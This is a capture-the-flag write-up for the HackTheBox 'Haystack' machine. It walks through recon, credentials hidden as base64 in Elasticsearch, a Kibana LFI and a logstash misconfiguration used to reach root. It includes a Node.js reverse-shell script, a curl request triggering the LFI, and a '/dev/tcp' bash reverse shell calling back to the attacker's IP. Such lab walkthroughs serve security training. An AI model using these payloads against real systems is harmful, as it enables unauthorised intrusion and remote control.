Haystack - HackTheBox
Information gathering
As always, let's scan the host using nmap:
$ nmap -A -T4 10.10.10.115
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-30 17:24 EDT
Nmap scan report for 10.10.10.115
Host is up (0.052s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
1556/tcp closed veritas_pbx
6101/tcp closed backupexec
9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.50 seconds
Exploration
The web server homepage contains an image:
As there's nothing in the page's source code, let's download it and inspect it
using strings
:
$ strings needle.jpg
JFIF
Exif
paint.net 4.1.1
...
...
...
BN2I
,'*'
I$f2/<-iy
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
It might be base64
, let's try to decode it:
$ echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
la aguja en el pajar es "clave"
Ok, it looks like we have a hint, the translation is:
The needle in the haystack is "key"
Let's keep it in mind.
Further exploring
Let's check the second web server. Visiting http://10.10.10.115:9200
returns
us some json
:
{
"name" : "iQEYHgS",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
"version" : {
"number" : "6.4.2",
"build_flavor" : "default",
"build_type" : "rpm",
"build_hash" : "04711c2",
"build_date" : "2018-09-26T13:34:09.098244Z",
"build_snapshot" : false,
"lucene_version" : "7.4.0",
"minimum_wire_compatibility_version" : "5.6.0",
"minimum_index_compatibility_version" : "5.0.0"
},
"tagline" : "You Know, for Search"
}
It looks like there's an elasticsearch
instance running on the machine, which
is a search engine.
Let's see what are the available indices
(you can see them as tables of a
classic database) by querying http://10.10.10.115:9200/_cat/indices?v
:
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
So we have quotes
and bank
. As they are both quite big, we can use a
parameter named q
in our requests to the _search
endpoint to search for
data.
After some attempts, I discovered this message on
http://10.10.10.115:9200/_search?pretty&q=haystack
:
{
"took" : 29,
"timed_out" : false,
"_shards" : {
"total" : 11,
"successful" : 11,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : 1,
"max_score" : 5.427053,
"hits" : [
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "2",
"_score" : 5.427053,
"_source" : {
"quote" : "There's a needle in this haystack, you have to search for it"
}
}
]
}
}
This seems to point us towards the previous hint, so let's try to query
http://10.10.10.115:9200/_search?pretty&q=clave
:
{
"took" : 26,
"timed_out" : false,
"_shards" : {
"total" : 11,
"successful" : 11,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : 2,
"max_score" : 5.9335938,
"hits" : [
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "45",
"_score" : 5.9335938,
"_source" : {
"quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
}
},
{
"_index" : "quotes",
"_type" : "quote",
"_id" : "111",
"_score" : 5.3459888,
"_source" : {
"quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
}
}
]
}
}
Bingo! Let's decode the two strings:
$ echo dXNlcjogc2VjdXJpdHkg | base64 -d
user: security
And here's the second one:
$ echo cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 -d
pass: spanish.is.key
Seems like we have a set of credentials! After connecting, let's get the user flag:
[security@haystack ~]$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929
Privilege escalation
Usually when there's elasticsearch
on a server, there's also kibana
and
logstash
, hence the name ELK
stack.
Checking the list of running processes with ps -Ao user,pid,args -ww
, we
can see that logstash
is running as root
, as opposed to its own user.
By making a request to http://localhost:5601/api/status
we can see that the
running version of the instance of kibana is 6.4.2
which has a nice LFI
vulnerability that can be exploited to get a shell as the user kibana
. More
details can be found here.
Let's write this reverse shell in a file and set our IP address and port in the
call to client.connect
:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "10.10.14.8", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
And after setting our netcat listener with nc -lnvp 1337
, let's make a request
to the vulnerable module to get the reverse shell:
$ curl http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION\&apis=../../../../../../.../../../../tmp/shell.js
Ok, now we can check the logstash
configuration files, starting by
/etc/logstash/conf.d/filter.conf
:
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
This is input.conf
:
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
And the last one, output.conf
:
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
Command execution as root
The vulnerability here can be exploited by writing a file in
/opt/kibana/logstash_*
that contains the string Ejecutar comando :
followed
by any command that we want to run. Given the misconfiguration of logstash,
the command will be executed as root
.
Let's write the file that contains the reverse shell connection:
echo "Ejecutar comando : bash -i >& /dev/tcp/10.10.14.8/1338 0>&1" > /opt/kibana/logstash_revshell
After a couple of seconds we will get our root shell and we can print the flag:
[root@haystack /]# cat /root/root.txt
3f5f727c38d9f70e1d2ad2ba11059d92